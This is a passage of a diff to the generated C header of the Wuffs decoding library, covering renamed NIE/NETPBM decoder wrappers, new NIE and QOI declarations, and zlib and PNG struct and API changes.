wuffs_netpbm__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); + } + + inline wuffs_base__rect_ie_u32 + frame_dirty_rect() const { +- return wuffs_nie__decoder__frame_dirty_rect(this); ++ return wuffs_netpbm__decoder__frame_dirty_rect(this); + } + + inline uint32_t + num_animation_loops() const { +- return wuffs_nie__decoder__num_animation_loops(this); ++ return wuffs_netpbm__decoder__num_animation_loops(this); + } + + inline uint64_t + num_decoded_frame_configs() const { +- return wuffs_nie__decoder__num_decoded_frame_configs(this); ++ return wuffs_netpbm__decoder__num_decoded_frame_configs(this); + } + + inline uint64_t + num_decoded_frames() const { +- return wuffs_nie__decoder__num_decoded_frames(this); ++ return wuffs_netpbm__decoder__num_decoded_frames(this); + } + + inline wuffs_base__status + restart_frame( + uint64_t a_index, + uint64_t a_io_position) { +- return wuffs_nie__decoder__restart_frame(this, a_index, a_io_position); ++ return wuffs_netpbm__decoder__restart_frame(this, a_index, a_io_position); + } + + inline wuffs_base__empty_struct + set_report_metadata( + uint32_t a_fourcc, + bool a_report) { +- return wuffs_nie__decoder__set_report_metadata(this, a_fourcc, a_report); ++ return wuffs_netpbm__decoder__set_report_metadata(this, a_fourcc, a_report); + } + + inline wuffs_base__status +@@ -10870,49 +11603,36 @@ struct wuffs_nie__decoder__struct { + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src) { +- return wuffs_nie__decoder__tell_me_more(this, a_dst, a_minfo, a_src); +- } +- +- inline uint64_t +- history_retain_length() const { +- return wuffs_nie__decoder__history_retain_length(this); ++ return wuffs_netpbm__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + + inline wuffs_base__range_ii_u64 + workbuf_len() const { +- return wuffs_nie__decoder__workbuf_len(this); ++ return wuffs_netpbm__decoder__workbuf_len(this); + } + + #endif // __cplusplus +-}; // struct wuffs_nie__decoder__struct ++}; // struct wuffs_netpbm__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_zlib__note__dictionary_required[]; +-extern const char wuffs_zlib__error__bad_checksum[]; +-extern const char wuffs_zlib__error__bad_compression_method[]; +-extern const char wuffs_zlib__error__bad_compression_window_size[]; +-extern const char wuffs_zlib__error__bad_parity_check[]; +-extern const char wuffs_zlib__error__incorrect_dictionary[]; +-extern const char wuffs_zlib__error__truncated_input[]; ++extern const char wuffs_nie__error__bad_header[]; ++extern const char wuffs_nie__error__truncated_input[]; ++extern const char wuffs_nie__error__unsupported_nie_file[]; + + // ---------------- Public Consts + +-#define WUFFS_ZLIB__QUIRK_JUST_RAW_DEFLATE 2113790976 +- +-#define WUFFS_ZLIB__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_ZLIB__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 ++#define WUFFS_NIE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +-typedef struct wuffs_zlib__decoder__struct wuffs_zlib__decoder; ++typedef struct wuffs_nie__decoder__struct wuffs_nie__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -10927,14 +11647,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_zlib__decoder__initialize( +- wuffs_zlib__decoder* self, ++wuffs_nie__decoder__initialize( ++ wuffs_nie__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_zlib__decoder(void); ++sizeof__wuffs_nie__decoder(void); + + // ---------------- Allocs + +@@ -10944,65 +11664,107 @@ sizeof__wuffs_zlib__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_zlib__decoder* +-wuffs_zlib__decoder__alloc(void); ++wuffs_nie__decoder* ++wuffs_nie__decoder__alloc(void); + +-static inline wuffs_base__io_transformer* +-wuffs_zlib__decoder__alloc_as__wuffs_base__io_transformer(void) { +- return (wuffs_base__io_transformer*)(wuffs_zlib__decoder__alloc()); ++static inline wuffs_base__image_decoder* ++wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_nie__decoder__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__io_transformer* +-wuffs_zlib__decoder__upcast_as__wuffs_base__io_transformer( +- wuffs_zlib__decoder* p) { +- return (wuffs_base__io_transformer*)p; ++static inline wuffs_base__image_decoder* ++wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_nie__decoder* p) { ++ return (wuffs_base__image_decoder*)p; + } + + // ---------------- Public Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_zlib__decoder__dictionary_id( +- const wuffs_zlib__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_zlib__decoder__add_dictionary( +- wuffs_zlib__decoder* self, +- wuffs_base__slice_u8 a_dict); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__get_quirk( +- const wuffs_zlib__decoder* self, ++wuffs_nie__decoder__get_quirk( ++ const wuffs_nie__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__set_quirk( +- wuffs_zlib__decoder* self, ++wuffs_nie__decoder__set_quirk( ++ wuffs_nie__decoder* self, + uint32_t a_key, + uint64_t a_value); + ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_nie__decoder__frame_dirty_rect( ++ const wuffs_nie__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_nie__decoder__num_animation_loops( ++ const wuffs_nie__decoder* self); ++ + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__history_retain_length( +- const wuffs_zlib__decoder* self); ++wuffs_nie__decoder__num_decoded_frame_configs( ++ const wuffs_nie__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_zlib__decoder__workbuf_len( +- const wuffs_zlib__decoder* self); ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__num_decoded_frames( ++ const wuffs_nie__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__transform_io( +- wuffs_zlib__decoder* self, ++wuffs_nie__decoder__restart_frame( ++ wuffs_nie__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_nie__decoder__set_report_metadata( ++ wuffs_nie__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__tell_me_more( ++ wuffs_nie__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_nie__decoder__workbuf_len( ++ const wuffs_nie__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -11017,7 +11779,7 @@ wuffs_zlib__decoder__transform_io( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_zlib__decoder__struct { ++struct wuffs_nie__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -11028,20 +11790,336 @@ struct wuffs_zlib__decoder__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; + wuffs_base__vtable null_vtable; + +- bool f_bad_call_sequence; +- bool f_header_complete; ++ uint32_t f_pixfmt; ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint32_t f_dst_x; ++ uint32_t f_dst_y; ++ wuffs_base__pixel_swizzler f_swizzler; ++ ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ } private_impl; ++ ++ struct { ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config; ++ } private_data; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_nie__decoder__alloc()); ++ } ++ ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_nie__decoder__struct() = delete; ++ wuffs_nie__decoder__struct(const wuffs_nie__decoder__struct&) = delete; ++ wuffs_nie__decoder__struct& operator=( ++ const wuffs_nie__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_nie__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } ++ ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_nie__decoder__get_quirk(this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_nie__decoder__set_quirk(this, a_key, a_value); ++ } ++ ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_nie__decoder__decode_image_config(this, a_dst, a_src); ++ } ++ ++ inline wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_nie__decoder__decode_frame_config(this, a_dst, a_src); ++ } ++ ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_nie__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } ++ ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_nie__decoder__frame_dirty_rect(this); ++ } ++ ++ inline uint32_t ++ num_animation_loops() const { ++ return wuffs_nie__decoder__num_animation_loops(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_nie__decoder__num_decoded_frame_configs(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_nie__decoder__num_decoded_frames(this); ++ } ++ ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_nie__decoder__restart_frame(this, a_index, a_io_position); ++ } ++ ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_nie__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } ++ ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_nie__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } ++ ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_nie__decoder__workbuf_len(this); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_nie__decoder__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++extern const char wuffs_zlib__note__dictionary_required[]; ++extern const char wuffs_zlib__error__bad_checksum[]; ++extern const char wuffs_zlib__error__bad_compression_method[]; ++extern const char wuffs_zlib__error__bad_compression_window_size[]; ++extern const char wuffs_zlib__error__bad_parity_check[]; ++extern const char wuffs_zlib__error__incorrect_dictionary[]; ++extern const char wuffs_zlib__error__truncated_input[]; ++ ++// ---------------- Public Consts ++ ++#define WUFFS_ZLIB__QUIRK_JUST_RAW_DEFLATE 2113790976u ++ ++#define WUFFS_ZLIB__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u ++ ++#define WUFFS_ZLIB__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u ++ ++// ---------------- Struct Declarations ++ ++typedef struct wuffs_zlib__decoder__struct wuffs_zlib__decoder; ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++// ---------------- Public Initializer Prototypes ++ ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_zlib__decoder__initialize( ++ wuffs_zlib__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); ++ ++size_t ++sizeof__wuffs_zlib__decoder(void); ++ ++// ---------------- Allocs ++ ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. ++ ++wuffs_zlib__decoder* ++wuffs_zlib__decoder__alloc(void); ++ ++static inline wuffs_base__io_transformer* ++wuffs_zlib__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_zlib__decoder__alloc()); ++} ++ ++// ---------------- Upcasts ++ ++static inline wuffs_base__io_transformer* ++wuffs_zlib__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_zlib__decoder* p) { ++ return (wuffs_base__io_transformer*)p; ++} ++ ++// ---------------- Public Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_zlib__decoder__dictionary_id( ++ const wuffs_zlib__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_zlib__decoder__add_dictionary( ++ wuffs_zlib__decoder* self, ++ wuffs_base__slice_u8 a_dict); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_zlib__decoder__get_quirk( ++ const wuffs_zlib__decoder* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__set_quirk( ++ wuffs_zlib__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_zlib__decoder__dst_history_retain_length( ++ const wuffs_zlib__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_zlib__decoder__workbuf_len( ++ const wuffs_zlib__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++#ifdef __cplusplus ++} // extern "C" ++#endif ++ ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_zlib__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable null_vtable; ++ ++ bool f_bad_call_sequence; ++ bool f_header_complete; + bool f_got_dictionary; + bool f_want_dictionary; + bool f_quirks[1]; + bool f_ignore_checksum; +- uint32_t f_dict_id_got; ++ uint32_t f_dict_id_have; + uint32_t f_dict_id_want; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; + } private_impl; + + struct { +@@ -11050,9 +12128,9 @@ struct wuffs_zlib__decoder__struct { + wuffs_deflate__decoder f_flate; + + struct { +- uint32_t v_checksum_got; ++ uint32_t v_checksum_have; + uint64_t scratch; +- } s_do_transform_io[1]; ++ } s_do_transform_io; + } private_data; + + #ifdef __cplusplus +@@ -11141,9 +12219,9 @@ struct wuffs_zlib__decoder__struct { + return wuffs_zlib__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_zlib__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_zlib__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -11184,11 +12262,9 @@ extern const char wuffs_png__error__unsupported_png_file[]; + + // ---------------- Public Consts + +-#define WUFFS_PNG__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_PNG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 2251799562027015u + +-#define WUFFS_PNG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 2251799562027015 +- +-#define WUFFS_PNG__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 8 ++#define WUFFS_PNG__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 8u + + // ---------------- Struct Declarations + +@@ -11321,11 +12397,6 @@ wuffs_png__decoder__tell_me_more( + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__history_retain_length( +- const wuffs_png__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_png__decoder__workbuf_len( +@@ -11438,26 +12509,26 @@ struct wuffs_png__decoder__struct { + wuffs_png__decoder* self, + wuffs_base__slice_u8 a_curr, + wuffs_base__slice_u8 a_prev); +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_ihdr[1]; +- uint32_t p_decode_other_chunk[1]; +- uint32_t p_decode_actl[1]; +- uint32_t p_decode_chrm[1]; +- uint32_t p_decode_fctl[1]; +- uint32_t p_decode_gama[1]; +- uint32_t p_decode_iccp[1]; +- uint32_t p_decode_plte[1]; +- uint32_t p_decode_srgb[1]; +- uint32_t p_decode_trns[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_skip_frame[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_decode_pass[1]; +- uint32_t p_tell_me_more[1]; +- uint32_t p_do_tell_me_more[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_ihdr; ++ uint32_t p_decode_other_chunk; ++ uint32_t p_decode_actl; ++ uint32_t p_decode_chrm; ++ uint32_t p_decode_fctl; ++ uint32_t p_decode_gama; ++ uint32_t p_decode_iccp; ++ uint32_t p_decode_plte; ++ uint32_t p_decode_srgb; ++ uint32_t p_decode_trns; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_skip_frame; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_pass; ++ uint32_t p_tell_me_more; ++ uint32_t p_do_tell_me_more; + wuffs_base__status (*choosy_filter_and_swizzle)( + wuffs_png__decoder* self, + wuffs_base__pixel_buffer* a_dst, +@@ -11473,54 +12544,54 @@ struct wuffs_png__decoder__struct { + struct { + uint32_t v_checksum_have; + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { + uint64_t scratch; +- } s_decode_ihdr[1]; ++ } s_decode_ihdr; + struct { + uint64_t scratch; +- } s_decode_other_chunk[1]; ++ } s_decode_other_chunk; + struct { + uint64_t scratch; +- } s_decode_actl[1]; ++ } s_decode_actl; + struct { + uint64_t scratch; +- } s_decode_chrm[1]; ++ } s_decode_chrm; + struct { + uint32_t v_x0; + uint32_t v_x1; + uint32_t v_y1; + uint64_t scratch; +- } s_decode_fctl[1]; ++ } s_decode_fctl; + struct { + uint64_t scratch; +- } s_decode_gama[1]; ++ } s_decode_gama; + struct { + uint32_t v_num_entries; + uint32_t v_i; + uint64_t scratch; +- } s_decode_plte[1]; ++ } s_decode_plte; + struct { + uint32_t v_i; + uint32_t v_n; + uint64_t scratch; +- } s_decode_trns[1]; ++ } s_decode_trns; + struct { + uint64_t scratch; +- } s_do_decode_frame_config[1]; ++ } s_do_decode_frame_config; + struct { + uint64_t scratch; +- } s_skip_frame[1]; ++ } s_skip_frame; + struct { + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; + struct { + uint64_t scratch; +- } s_decode_pass[1]; ++ } s_decode_pass; + struct { + wuffs_base__status v_zlib_status; + uint64_t scratch; +- } s_do_tell_me_more[1]; ++ } s_do_tell_me_more; + } private_data; + + #ifdef __cplusplus +@@ -11664,11 +12735,6 @@ struct wuffs_png__decoder__struct { + return wuffs_png__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_png__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_png__decoder__workbuf_len(this); +@@ -11681,24 +12747,21 @@ struct wuffs_png__decoder__struct { + + #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_tga__error__bad_header[]; +-extern const char wuffs_tga__error__bad_run_length_encoding[]; +-extern const char wuffs_tga__error__truncated_input[]; +-extern const char wuffs_tga__error__unsupported_tga_file[]; ++extern const char wuffs_qoi__error__bad_footer[]; ++extern const char wuffs_qoi__error__bad_header[]; ++extern const char wuffs_qoi__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_TGA__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_TGA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_QOI__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +-typedef struct wuffs_tga__decoder__struct wuffs_tga__decoder; ++typedef struct wuffs_qoi__decoder__struct wuffs_qoi__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -11713,14 +12776,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_tga__decoder__initialize( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__initialize( ++ wuffs_qoi__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_tga__decoder(void); ++sizeof__wuffs_qoi__decoder(void); + + // ---------------- Allocs + +@@ -11730,19 +12793,19 @@ sizeof__wuffs_tga__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_tga__decoder* +-wuffs_tga__decoder__alloc(void); ++wuffs_qoi__decoder* ++wuffs_qoi__decoder__alloc(void); + + static inline wuffs_base__image_decoder* +-wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_tga__decoder__alloc()); ++wuffs_qoi__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_qoi__decoder__alloc()); + } + + // ---------------- Upcasts + + static inline wuffs_base__image_decoder* +-wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_tga__decoder* p) { ++wuffs_qoi__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_qoi__decoder* p) { + return (wuffs_base__image_decoder*)p; + } + +@@ 